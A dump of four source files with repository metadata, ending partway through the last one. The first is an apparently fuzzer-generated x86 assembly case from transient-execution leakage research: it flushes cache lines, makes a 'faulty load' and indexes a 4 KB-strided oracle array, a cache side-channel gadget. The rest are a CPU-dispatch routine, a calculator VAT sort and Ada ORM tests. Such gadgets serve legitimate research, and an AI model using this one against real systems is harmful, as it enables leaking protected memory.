max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_286.asm | ljhsiun2/medusa | 9 | 85927 | <reponame>ljhsiun2/medusa<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x774f, %rsi
lea addresses_D_ht+0x1a74f, %rdi
nop
cmp %rbx, %rbx
mov $50, %rcx
rep movsb
xor $45309, %rsi
lea addresses_normal_ht+0x9b33, %rsi
lea addresses_D_ht+0x3d65, %rdi
nop
xor $7163, %rbp
mov $27, %rcx
rep movsw
nop
dec %rdi
lea addresses_WC_ht+0x1d498, %rsi
nop
nop
nop
add %r12, %r12
mov (%rsi), %ecx
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %r15
push %r9
push %rcx
push %rdi
push %rsi
// Store
lea addresses_UC+0x58e7, %r15
xor $15199, %r14
mov $0x5152535455565758, %rcx
movq %rcx, (%r15)
nop
nop
dec %rcx
// Store
lea addresses_UC+0x133c3, %r9
nop
nop
nop
nop
nop
sub %r13, %r13
movw $0x5152, (%r9)
xor $63862, %r13
// REPMOV
lea addresses_D+0x874f, %rsi
lea addresses_WT+0x980f, %rdi
clflush (%rsi)
nop
nop
nop
dec %r15
mov $76, %rcx
rep movsb
nop
nop
nop
nop
nop
sub $26122, %r15
// Store
lea addresses_D+0x644f, %r14
clflush (%r14)
nop
nop
nop
nop
nop
cmp $8179, %rsi
movb $0x51, (%r14)
nop
inc %r15
// Faulty Load
lea addresses_normal+0x1b74f, %r14
clflush (%r14)
nop
xor %r11, %r11
vmovups (%r14), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %r15
lea oracles, %r13
and $0xff, %r15
shlq $12, %r15
mov (%r13,%r15,1), %r15
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 4, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
rolling_hash/rolling_hash2_multibinary.asm | carl008-ma/isa-l_crypto | 0 | 6626 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2017 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%include "reg_sizes.asm"
%ifidn __OUTPUT_FORMAT__, elf32
[bits 32]
%define def_wrd dd
%define wrd_sz dword
%define arg1 esi
%else
default rel
[bits 64]
%define def_wrd dq
%define wrd_sz qword
%define arg1 rsi
extern rolling_hash2_run_until_00
extern rolling_hash2_run_until_04
%endif
extern rolling_hash2_run_until_base
section .data
;;; *_mbinit are initial values for *_dispatched; is updated on first call.
;;; Therefore, *_dispatch_init is only executed on first call.
rolling_hash2_run_until_dispatched:
def_wrd rolling_hash2_run_until_mbinit
section .text
;;;;
; rolling_hash2_run_until multibinary function
;;;;
mk_global rolling_hash2_run_until, function
rolling_hash2_run_until_mbinit:
call rolling_hash2_run_until_dispatch_init
rolling_hash2_run_until:
jmp wrd_sz [rolling_hash2_run_until_dispatched]
rolling_hash2_run_until_dispatch_init:
push arg1
%ifidn __OUTPUT_FORMAT__, elf32 ;; 32-bit check
lea arg1, [rolling_hash2_run_until_base]
%else
push rax
push rbx
push rcx
push rdx
lea arg1, [rolling_hash2_run_until_base WRT_OPT] ; Default
mov eax, 1
cpuid
lea rbx, [rolling_hash2_run_until_00 WRT_OPT]
test ecx, FLAG_CPUID1_ECX_SSE4_1
cmovne arg1, rbx
and ecx, (FLAG_CPUID1_ECX_AVX | FLAG_CPUID1_ECX_OSXSAVE)
cmp ecx, (FLAG_CPUID1_ECX_AVX | FLAG_CPUID1_ECX_OSXSAVE)
lea rbx, [rolling_hash2_run_until_00 WRT_OPT]
jne _done_rolling_hash2_run_until_data_init
mov rsi, rbx
;; Try for AVX2
xor ecx, ecx
mov eax, 7
cpuid
test ebx, FLAG_CPUID1_EBX_AVX2
lea rbx, [rolling_hash2_run_until_04 WRT_OPT]
cmovne rsi, rbx
;; Does it have xmm and ymm support
xor ecx, ecx
xgetbv
and eax, FLAG_XGETBV_EAX_XMM_YMM
cmp eax, FLAG_XGETBV_EAX_XMM_YMM
je _done_rolling_hash2_run_until_data_init
lea rsi, [rolling_hash2_run_until_00 WRT_OPT]
_done_rolling_hash2_run_until_data_init:
pop rdx
pop rcx
pop rbx
pop rax
%endif ;; END 32-bit check
mov [rolling_hash2_run_until_dispatched], arg1
pop arg1
ret
|
src/routines/sort.asm | zdimension/Cesium | 5 | 168035 | ; SORT.asm
;
; Made by <NAME>, <EMAIL>
; Modified for ez80 architechure and hidden programs by <NAME>
;
; Uses insertion sort to sort the VAT alphabettically.
; This is a lot faster than sorting during runtime.
sort:
res firstprog,(iy+asm_Flag1)
ld hl,(progptr)
sort_next:
call findnextitem
ret nc
bit firstprog,(iy+asm_Flag1)
jp z,firstprogfound
push hl
call skipname
pop de
push hl ; to continue from later on
ld hl,(firstprogpointer)
jr searchnext_start ; could speed up sorted list by first checking if it's the last item (not neccessary)
searchnext:
call skipname
ld bc,(endofsortedpartpointer)
or a,a ; reset carry flag
push hl
sbc hl,bc
pop hl
jr z,locationfound
ld bc,-6
add hl,bc
searchnext_start:
push hl
push de
call comparestrings
pop de
pop hl
jr nc,searchnext
searchnext_end:
ld bc,6
add hl,bc ; goto start of entry
locationfound:
ex de,hl
ld a,(hl)
add a,7
ld bc,6 ; rewind six bytes
add hl,bc
ld bc,0 ; A=number of bytes to move
ld c,a ; HL->bytes to move
ld (vatentrysize),bc ; DE->move to location
ld (vatentrynewloc),de
push de
push hl
or a,a
sbc hl,de
pop hl
pop de
jr z,nomoveneeded
push hl
ld de,vatentrytempend
lddr ; copy entry to move to vatentrytempend
ld hl,(vatentrynewloc)
pop bc
push bc
or a,a
sbc hl,bc
push hl
pop bc
pop hl
inc hl
push hl
ld de,(vatentrysize)
or a,a
sbc hl,de
ex de,hl
pop hl
ldir
ld hl,vatentrytempend
ld bc,(vatentrysize)
ld de,(vatentrynewloc)
lddr
ld hl,(endofsortedpartpointer)
ld bc,(vatentrysize)
or a,a
sbc hl,bc
ld (endofsortedpartpointer),hl
pop hl ; pointer to continue from
jp sort_next ; to skip name and rest of entry
nomoveneeded:
pop hl
ld (endofsortedpartpointer),hl
jp sort_next
firstprogfound:
set firstprog,(IY+asm_Flag1) ; to make it only execute once
ld (firstprogpointer),hl
call skipname
ld (endofsortedpartpointer),hl
jp sort_next
skiptonext6:
ld bc,-6
add hl,bc
call skipname
jp findnextitem ; look for next item
skipname:
ld bc,0
ld c,(hl) ; number of bytes in name
inc c ; to get pointer to data type byte of next entry
or a,a ; reset carry flag
sbc hl,bc
ret
comparestrings: ; hl and de pointers to strings output=carry if de is first
res prog1Hidden,(iy+hideFlag)
res prog2Hidden,(iy+hideFlag)
dec hl
dec de
ld a,(hl)
cp 64
jr nc,prog1NotHidden ; check if files are hidden
add a,64
ld (hl),a
set prog1Hidden,(iy+hideFlag)
prog1NotHidden:
ld a,(de)
cp 64
jr nc,prog2NotHidden
add a,64
ld (de),a
set prog2Hidden,(iy+hideFlag)
prog2NotHidden:
push hl
push de
inc hl
inc de
ld b,(hl)
ld a,(de)
ld c,0
cp b ; check if same length
jr z,comparestrings_continue
jr nc,comparestrings_continue ; b = smaller than a
inc c ; to remember that b was larger
ld b,a ; b was larger than a
comparestrings_continue:
dec hl
dec de
ld a,(de)
cp (hl)
jr nz,resetHiddenFlags_2
djnz comparestrings_continue
pop de
pop hl
call resetHiddenFlags
comparestrings_checklength:
dec c
ret nz
ccf
ret
resetHiddenFlags_2:
pop de
pop hl
resetHiddenFlags:
bit prog1Hidden,(iy+hideFlag)
jr z,prog1NotHidden_chk
ld a,(hl)
sub a,$40
ld (hl),a
prog1NotHidden_chk:
bit prog2Hidden,(iy+hideFlag)
ret z
ld a,(de)
sub a,$40
ld (de),a
xor a
inc a
ret
findnextitem: ; carry=found nc=notfound
ex de,hl
ld hl,(ptemp)
or a ; reset carry flag
sbc hl,de
ret z
ex de,hl ; load progptr into hl
ld a,(hl)
and 1Fh ; mask out state bytes
push hl
ld hl,programtypes
ld bc,3
cpir
pop hl
jp nz,skiptonext6 ; skip to next entry
dec hl ; add check for folders here if needed
dec hl
dec hl ; to pointer
ld e,(hl)
dec hl
ld d,(hl) ; pointer now in de
dec hl
ld a,(hl) ; high byte now in a
dec hl ; add check: do I need to sort this program (not neccessary)
scf
ret
programtypes:
.db progobj,protprogobj,tempprogobj |
regtests/ado-objects-tests.adb | My-Colaborations/ada-ado | 0 | 2311 | -----------------------------------------------------------------------
-- ADO Objects Tests -- Tests for ADO.Objects
-- Copyright (C) 2011 - 2020 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Calendar;
with Util.Test_Caller;
with ADO.Sessions;
with Regtests.Simple.Model;
with Regtests.Comments;
with Regtests.Statements.Model;
with Regtests.Audits.Model;
package body ADO.Objects.Tests is
use Util.Tests;
use type Ada.Containers.Hash_Type;
TIME_VALUE1 : constant Ada.Calendar.Time := Ada.Calendar.Time_Of (Year => 1901,
Month => 1,
Day => 2,
Seconds => 0.0);
TIME_VALUE2 : constant Ada.Calendar.Time := Ada.Calendar.Time_Of (Year => 1981,
Month => 3,
Day => 22,
Seconds => 40.0);
-- Test the Set_xxx and Get_xxx operation on various simple times.
generic
Name : String;
type Element_Type (<>) is private;
with function "=" (Left, Right : in Element_Type) return Boolean is <>;
with procedure Set_Value (Item : in out Regtests.Statements.Model.Nullable_Table_Ref;
Val : in Element_Type);
with function Get_Value (Item : in Regtests.Statements.Model.Nullable_Table_Ref)
return Element_Type;
Val1 : Element_Type;
Val2 : Element_Type;
Val3 : Element_Type;
procedure Test_Op (T : in out Test);
procedure Test_Op (T : in out Test) is
Item1 : Regtests.Statements.Model.Nullable_Table_Ref;
Item2 : Regtests.Statements.Model.Nullable_Table_Ref;
Item3 : Regtests.Statements.Model.Nullable_Table_Ref;
DB : ADO.Sessions.Master_Session := Regtests.Get_Master_Database;
begin
Set_Value (Item1, Val1);
Item1.Save (DB);
T.Assert (Item1.Is_Inserted, Name & " item is created");
-- Util.Tests.Assert_Equals (T, T'Image (Val), T'Image (
-- Load in a second item and check the value.
Item2.Load (DB, Item1.Get_Id);
T.Assert (Item2.Get_Id = Item1.Get_Id, Name & " item2 cannot be loaded");
-- T.Assert (Get_Value (Item2) = Val1, Name & " invalid value loaded in item2");
-- Change the item in database.
Set_Value (Item2, Val2);
Item2.Save (DB);
T.Assert (Get_Value (Item2) = Val2, Name & " invalid value loaded in item2");
-- Load again and compare to check the update.
Item3.Load (DB, Item2.Get_Id);
T.Assert (Get_Value (Item3) = Val2, Name & " invalid value loaded in item3");
begin
Set_Value (Item1, Val3);
Item1.Save (DB);
T.Fail ("No LAZY_LOCK exception was raised.");
exception
when ADO.Objects.LAZY_LOCK =>
null;
end;
Set_Value (Item3, Val3);
Item3.Save (DB);
T.Assert (Get_Value (Item3) = Val3, Name & " invalid value loaded in item3");
Item1.Load (DB, Item1.Get_Id);
T.Assert (Get_Value (Item1) = Val3, Name & " invalid value loaded in item1");
end Test_Op;
procedure Test_Object_Nullable_Integer is
new Test_Op ("Nullable_Integer",
Nullable_Integer, "=",
Regtests.Statements.Model.Set_Int_Value,
Regtests.Statements.Model.Get_Int_Value,
Nullable_Integer '(Value => 123, Is_Null => False),
Nullable_Integer '(Value => 0, Is_Null => True),
Nullable_Integer '(Value => 231, Is_Null => False));
procedure Test_Object_Nullable_Entity_Type is
new Test_Op ("Nullable_Entity_Type",
Nullable_Entity_Type, "=",
Regtests.Statements.Model.Set_Entity_Value,
Regtests.Statements.Model.Get_Entity_Value,
Nullable_Entity_Type '(Value => 456, Is_Null => False),
Nullable_Entity_Type '(Value => 0, Is_Null => True),
Nullable_Entity_Type '(Value => 564, Is_Null => False));
procedure Test_Object_Nullable_Time is
new Test_Op ("Nullable_Time",
Nullable_Time, "=",
Regtests.Statements.Model.Set_Time_Value,
Regtests.Statements.Model.Get_Time_Value,
Nullable_Time '(Value => TIME_VALUE1, Is_Null => False),
Nullable_Time '(Value => <>, Is_Null => True),
Nullable_Time '(Value => TIME_VALUE2, Is_Null => False));
function Get_Allocate_Key (N : Identifier) return Object_Key;
function Get_Allocate_Key (N : Identifier) return Object_Key is
Result : Object_Key (Of_Type => KEY_INTEGER,
Of_Class => Regtests.Simple.Model.ALLOCATE_TABLE);
begin
Set_Value (Result, N);
return Result;
end Get_Allocate_Key;
-- ------------------------------
-- Various tests on Hash and key comparison
-- ------------------------------
procedure Test_Key (T : in out Test) is
K1 : constant Object_Key := Get_Allocate_Key (1);
K2 : Object_Key (Of_Type => KEY_STRING,
Of_Class => Regtests.Simple.Model.USER_TABLE);
K3 : Object_Key := K1;
K4 : Object_Key (Of_Type => KEY_INTEGER,
Of_Class => Regtests.Simple.Model.USER_TABLE);
begin
T.Assert (not (K1 = K2), "Key on different tables must be different");
T.Assert (not (K2 = K4), "Key with different type must be different");
T.Assert (K1 = K3, "Keys are identical");
T.Assert (Equivalent_Elements (K1, K3), "Keys are identical");
T.Assert (Equivalent_Elements (K3, K1), "Keys are identical");
T.Assert (Hash (K1) = Hash (K3), "Hash of identical keys should be identical");
Set_Value (K3, 2);
T.Assert (not (K1 = K3), "Keys should be different");
T.Assert (Hash (K1) /= Hash (K3), "Hash should be different");
T.Assert (Hash (K1) /= Hash (K2), "Hash should be different");
Set_Value (K4, 1);
T.Assert (Hash (K1) /= Hash (K4),
"Hash on key with same value and different tables should be different");
T.Assert (not (K4 = K1), "Key on different tables should be different");
Set_Value (K2, 1);
T.Assert (Hash (K1) /= Hash (K2), "Hash should be different");
end Test_Key;
-- ------------------------------
-- Check:
-- Object_Ref := (reference counting)
-- Object_Ref.Copy
-- Object_Ref.Get_xxx generated method
-- Object_Ref.Set_xxx generated method
-- Object_Ref.=
-- ------------------------------
procedure Test_Object_Ref (T : in out Test) is
use type Regtests.Simple.Model.User_Ref;
Obj1 : Regtests.Simple.Model.User_Ref;
Null_Obj : Regtests.Simple.Model.User_Ref;
begin
T.Assert (Obj1 = Null_Obj, "Two null objects are identical");
for I in 1 .. 10 loop
Obj1.Set_Name ("<NAME>");
T.Assert (Obj1.Get_Name = "User name", "User_Ref.Set_Name invalid result");
T.Assert (Obj1 /= Null_Obj, "Object is not identical as the null object");
declare
Obj2 : constant Regtests.Simple.Model.User_Ref := Obj1;
Obj3 : Regtests.Simple.Model.User_Ref;
begin
Obj1.Copy (Obj3);
Obj3.Set_Id (2);
-- Check the copy
T.Assert (Obj2.Get_Name = "User name", "Object_Ref.Copy invalid copy");
T.Assert (Obj3.Get_Name = "User name", "Object_Ref.Copy invalid copy");
T.Assert (Obj2 = Obj1, "Object_Ref.'=' invalid comparison after assignment");
T.Assert (Obj3 /= Obj1, "Object_Ref.'=' invalid comparison after copy");
-- Change original, make sure it's the same of Obj2.
Obj1.Set_Name ("Second name");
T.Assert (Obj2.Get_Name = "Second name", "Object_Ref.Copy invalid copy");
T.Assert (Obj2 = Obj1, "Object_Ref.'=' invalid comparison after assignment");
-- The copy is not modified
T.Assert (Obj3.Get_Name = "User name", "Object_Ref.Copy invalid copy");
end;
end loop;
end Test_Object_Ref;
-- ------------------------------
-- Test creation of an object with lazy loading.
-- ------------------------------
procedure Test_Create_Object (T : in out Test) is
User : Regtests.Simple.Model.User_Ref;
Cmt : Regtests.Comments.Comment_Ref;
begin
-- Create an object within a transaction.
declare
S : ADO.Sessions.Master_Session := Regtests.Get_Master_Database;
begin
S.Begin_Transaction;
User.Set_Name ("Joe");
User.Set_Value (0);
User.Save (S);
S.Commit;
end;
-- Load it from another session.
declare
S : ADO.Sessions.Master_Session := Regtests.Get_Master_Database;
U2 : Regtests.Simple.Model.User_Ref;
begin
U2.Load (S, User.Get_Id);
T.Assert (not U2.Get_Name.Is_Null,
"Cannot load created object");
Assert_Equals (T, "Joe", Ada.Strings.Unbounded.To_String (U2.Get_Name.Value),
"Cannot load created object");
Assert_Equals (T, Integer (0), Integer (U2.Get_Value), "Invalid load");
T.Assert (User.Get_Key = U2.Get_Key, "Invalid key after load");
end;
-- Create a comment for the user.
declare
S : ADO.Sessions.Master_Session := Regtests.Get_Master_Database;
begin
S.Begin_Transaction;
Cmt.Set_Message (Ada.Strings.Unbounded.To_Unbounded_String ("A comment from Joe"));
Cmt.Set_User (User);
Cmt.Set_Entity_Id (2);
Cmt.Set_Entity_Type (1);
-- Cmt.Set_Date (ADO.DEFAULT_TIME);
Cmt.Set_Date (Ada.Calendar.Clock);
Cmt.Save (S);
S.Commit;
end;
-- Load that comment.
declare
S : ADO.Sessions.Master_Session := Regtests.Get_Master_Database;
C2 : Regtests.Comments.Comment_Ref;
begin
T.Assert (not C2.Is_Loaded, "Object is not loaded");
C2.Load (S, Cmt.Get_Id);
T.Assert (not C2.Is_Null, "Loading of object failed");
T.Assert (C2.Is_Loaded, "Object is loaded");
T.Assert (Cmt.Get_Key = C2.Get_Key, "Invalid key after load");
T.Assert_Equals ("A comment from Joe", Ada.Strings.Unbounded.To_String (C2.Get_Message),
"Invalid message");
T.Assert (not C2.Get_User.Is_Null, "User associated with the comment should not be null");
-- T.Assert (not C2.Get_Entity_Type.Is_Null, "Entity type was not set");
-- Check that we can access the user name (lazy load)
Assert_Equals (T, "Joe", Ada.Strings.Unbounded.To_String (C2.Get_User.Get_Name.Value),
"Cannot load created object");
end;
end Test_Create_Object;
-- ------------------------------
-- Test creation and deletion of an object record
-- ------------------------------
procedure Test_Delete_Object (T : in out Test) is
User : Regtests.Simple.Model.User_Ref;
begin
-- Create an object within a transaction.
declare
S : ADO.Sessions.Master_Session := Regtests.Get_Master_Database;
begin
S.Begin_Transaction;
User.Set_Name ("Joe (delete)");
User.Set_Value (0);
User.Save (S);
S.Commit;
end;
-- Load it and delete it from another session.
declare
S : ADO.Sessions.Master_Session := Regtests.Get_Master_Database;
U2 : Regtests.Simple.Model.User_Ref;
begin
U2.Load (S, User.Get_Id);
S.Begin_Transaction;
U2.Delete (S);
S.Commit;
end;
-- Try to load the deleted object.
declare
S : ADO.Sessions.Master_Session := Regtests.Get_Master_Database;
U2 : Regtests.Simple.Model.User_Ref;
begin
U2.Load (S, User.Get_Id);
T.Assert (False, "Load of a deleted object should raise NOT_FOUND");
exception
when ADO.Objects.NOT_FOUND =>
null;
end;
end Test_Delete_Object;
-- ------------------------------
-- Test Is_Inserted and Is_Null
-- ------------------------------
procedure Test_Is_Inserted (T : in out Test) is
User : Regtests.Simple.Model.User_Ref;
begin
T.Assert (not User.Is_Inserted, "A null object should not be marked as INSERTED");
T.Assert (User.Is_Null, "A null object should be marked as NULL");
-- Create an object within a transaction.
declare
S : ADO.Sessions.Master_Session := Regtests.Get_Master_Database;
begin
S.Begin_Transaction;
User.Set_Name ("John");
T.Assert (not User.Is_Null, "User should not be NULL");
T.Assert (not User.Is_Inserted, "User was not saved and not yet inserted in database");
User.Set_Value (1);
User.Save (S);
S.Commit;
T.Assert (User.Is_Inserted, "After a save operation, the user should be marked INSERTED");
T.Assert (not User.Is_Null, "User should not be NULL");
end;
declare
S : ADO.Sessions.Master_Session := Regtests.Get_Master_Database;
John : Regtests.Simple.Model.User_Ref;
begin
John.Load (S, User.Get_Id);
T.Assert (John.Is_Inserted, "After a load, the object should be marked INSERTED");
T.Assert (not John.Is_Null, "After a load, the object should not be NULL");
end;
end Test_Is_Inserted;
-- ------------------------------
-- Test Is_Modified
-- ------------------------------
procedure Test_Is_Modified (T : in out Test) is
User : Regtests.Simple.Model.User_Ref;
begin
T.Assert (not User.Is_Modified, "A null object should not be MODIFIED");
-- Create an object within a transaction.
declare
S : ADO.Sessions.Master_Session := Regtests.Get_Master_Database;
begin
S.Begin_Transaction;
User.Set_Name ("John");
T.Assert (User.Is_Modified, "User should be modified");
User.Set_Value (1);
User.Save (S);
T.Assert (not User.Is_Modified, "User should be not modified after save");
S.Commit;
end;
declare
S : ADO.Sessions.Master_Session := Regtests.Get_Master_Database;
John : Regtests.Simple.Model.User_Ref;
begin
John.Load (S, User.Get_Id);
T.Assert (John.Is_Inserted, "After a load, the object should be marked INSERTED");
T.Assert (not John.Is_Null, "After a load, the object should not be NULL");
T.Assert (not John.Is_Modified, "After a load, the object should not be MODIFIED");
John.Set_Name ("John");
T.Assert (not User.Is_Modified, "User should be modified");
end;
end Test_Is_Modified;
-- ------------------------------
-- Test object creation/update/load with string as key.
-- ------------------------------
procedure Test_String_Key (T : in out Test) is
Item1 : Regtests.Audits.Model.Property_Ref;
Item2 : Regtests.Audits.Model.Property_Ref;
Item3 : Regtests.Audits.Model.Property_Ref;
S : ADO.Sessions.Master_Session := Regtests.Get_Master_Database;
Uuid : constant String := Util.Tests.Get_Uuid;
begin
Item1.Set_Id ("name " & Uuid);
Item1.Set_Value ((Is_Null => False, Value => 123));
Item1.Set_Float_Value (23.44);
Item1.Save (S);
T.Assert (Item1.Is_Inserted, "Object with string key is not inserted");
Util.Tests.Assert_Equals (T, "name " & Uuid, String '(Item1.Get_Id),
"Object key is invalid");
Item2.Set_Id ("name2 " & Uuid);
Item2.Set_Value ((Is_Null => True, Value => 0));
Item2.Set_Float_Value (34.23);
Item2.Save (S);
Item3.Load (S, Ada.Strings.Unbounded.To_Unbounded_String ("name " & Uuid));
T.Assert (Item3.Is_Loaded, "Item3 must be loaded");
T.Assert (not Item3.Get_Value.Is_Null, "Item3 value must not be null");
Util.Tests.Assert_Equals (T, 123, Item3.Get_Value.Value, "Item3 value is invalid");
end Test_String_Key;
package Caller is new Util.Test_Caller (Test, "ADO.Objects");
-- ------------------------------
-- Add the tests in the test suite
-- ------------------------------
procedure Add_Tests (Suite : in Util.Tests.Access_Test_Suite) is
begin
Caller.Add_Test (Suite, "Test ADO.Objects.Hash", Test_Key'Access);
Caller.Add_Test (Suite, "Test Object_Ref.Get/Set", Test_Object_Ref'Access);
Caller.Add_Test (Suite, "Test ADO.Objects.Create", Test_Create_Object'Access);
